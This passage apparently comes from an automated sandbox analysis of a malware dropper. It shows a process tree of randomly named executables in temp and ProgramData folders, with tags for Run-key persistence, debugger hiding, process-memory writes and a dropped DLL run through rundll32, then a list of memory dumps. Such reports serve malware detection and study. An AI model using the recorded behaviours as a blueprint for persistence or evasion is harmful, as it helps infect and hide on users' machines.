                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:3984
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:1192
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:4836
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:3560
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:1364
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:4548
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                    Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                    PID:3196
                                                                                                                                                                                                                                                                    • C:\ProgramData\3402997.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\3402997.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                      PID:3560
                                                                                                                                                                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 3560 -s 2296
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                        PID:2528
                                                                                                                                                                                                                                                                    • C:\ProgramData\4644938.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\4644938.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                                                      PID:5044
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:3172
                                                                                                                                                                                                                                                                    • C:\ProgramData\802260.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\802260.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      PID:4788
                                                                                                                                                                                                                                                                    • C:\ProgramData\7383144.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\7383144.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                      PID:3256
                                                                                                                                                                                                                                                                    • C:\ProgramData\8470279.exe
                                                                                                                                                                                                                                                                      "C:\ProgramData\8470279.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      PID:4896
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 2380
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                        PID:1452
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:4028
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue118f55232e4.exe
                                                                                                                                                                                                                                                                    Tue118f55232e4.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                    PID:1148
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1148 -s 1372
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      PID:560
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:4808
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                    Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:4632
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 288
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      PID:1848
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:4348
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 516
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                  PID:4304
                                                                                                                                                                                                                                                          • C:\Windows\System32\sihclient.exe
                                                                                                                                                                                                                                                            C:\Windows\System32\sihclient.exe /cv lX+JvkxKV0GZd+6TsanO5Q.0.2
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                            PID:5028
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                            Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            PID:1016
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 284
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                              PID:4672
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1016 -ip 1016
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:1180
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4632 -ip 4632
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:4424
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4588 -ip 4588
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5044
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 4728 -ip 4728
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:2892
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4780 -ip 4780
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:1640
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1148 -ip 1148
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:3268
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2892 -ip 2892
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5572
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                            PID:5660
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5660 -s 460
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                              PID:5964
                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                            PID:5604
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5660 -ip 5660
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5812
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4028 -ip 4028
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5892
                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -pss -s 632 -p 3560 -ip 3560
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:3548
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6020 -ip 6020
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:936
                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                            PID:5852
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                              PID:3488
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 460
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                PID:4056
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3488 -ip 3488
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5552
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4896 -ip 4896
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:6140
                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -pss -s 620 -p 5588 -ip 5588
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:5848
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1204 -ip 1204
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                            PID:4544
                                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                            PID:3560
                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:5932
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5980 -ip 5980
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:5960
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5888 -ip 5888
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:5908
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4344 -ip 4344
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:1432
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4304 -ip 4304
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:1436
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5228 -ip 5228
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:4548
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5184 -ip 5184
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                              PID:3780
                                                                                                                                                                                                                                                            • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                              "LogonUI.exe" /flags:0x4 /state0:0xa39e1055 /state1:0x41c64e6d
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                              PID:5144

                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                            • memory/8-225-0x000000001B060000-0x000000001B062000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/8-216-0x0000000000470000-0x0000000000471000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/452-230-0x0000000005500000-0x0000000005501000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/452-221-0x00000000053D0000-0x00000000053D1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/452-211-0x0000000000A10000-0x0000000000A11000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/452-227-0x0000000005350000-0x0000000005351000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/876-728-0x0000000004D30000-0x0000000005348000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/980-689-0x0000000004D10000-0x0000000005328000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/1016-239-0x0000000002C50000-0x0000000002C59000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                                            • memory/1072-421-0x00000000030A0000-0x00000000030A2000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/1072-220-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              436KB

                                                                                                                                                                                                                                                            • memory/1204-556-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/1444-304-0x00000000055A0000-0x0000000005BB8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/1456-674-0x0000000001950000-0x0000000001952000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/1488-788-0x00000000053F0000-0x0000000005A08000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/1840-575-0x0000000005570000-0x0000000005B88000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2112-616-0x0000000005600000-0x0000000005C18000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2288-737-0x0000000005430000-0x0000000005A48000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2472-554-0x0000000005890000-0x0000000005EA8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2892-472-0x0000000004920000-0x00000000049F1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              836KB

                                                                                                                                                                                                                                                            • memory/2892-774-0x0000000005910000-0x0000000005F28000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2896-418-0x0000000005060000-0x0000000005678000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/2936-701-0x00000000057D0000-0x0000000005DE8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3092-289-0x0000000005700000-0x0000000005D18000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3168-675-0x00000000052E0000-0x00000000058F8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3172-379-0x0000000005900000-0x0000000005901000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3176-593-0x00000000056B0000-0x0000000005CC8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3196-235-0x000000001B550000-0x000000001B552000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/3196-214-0x0000000000800000-0x0000000000801000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3196-226-0x00000000010D0000-0x00000000010E5000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              84KB

                                                                                                                                                                                                                                                            • memory/3240-800-0x00000000052B0000-0x00000000058C8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3256-523-0x0000000005460000-0x0000000005A78000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3436-658-0x0000000004DE0000-0x00000000053F8000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              6.1MB

                                                                                                                                                                                                                                                            • memory/3560-355-0x000000001B190000-0x000000001B192000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/3872-259-0x00000000092C0000-0x00000000092F4000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              208KB

                                                                                                                                                                                                                                                            • memory/3872-234-0x0000000007A50000-0x0000000007A51000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-224-0x0000000004972000-0x0000000004973000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-272-0x0000000009AC0000-0x0000000009AC1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-222-0x0000000004970000-0x0000000004971000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-267-0x0000000009300000-0x0000000009301000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-243-0x0000000008580000-0x0000000008581000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-242-0x00000000080E0000-0x00000000080E1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-270-0x0000000004975000-0x0000000004977000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                            • memory/3872-241-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                            • memory/3872-271-0x000000007FDE0000-0x000000007FDE1000-memory.dmp

                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                              4KB

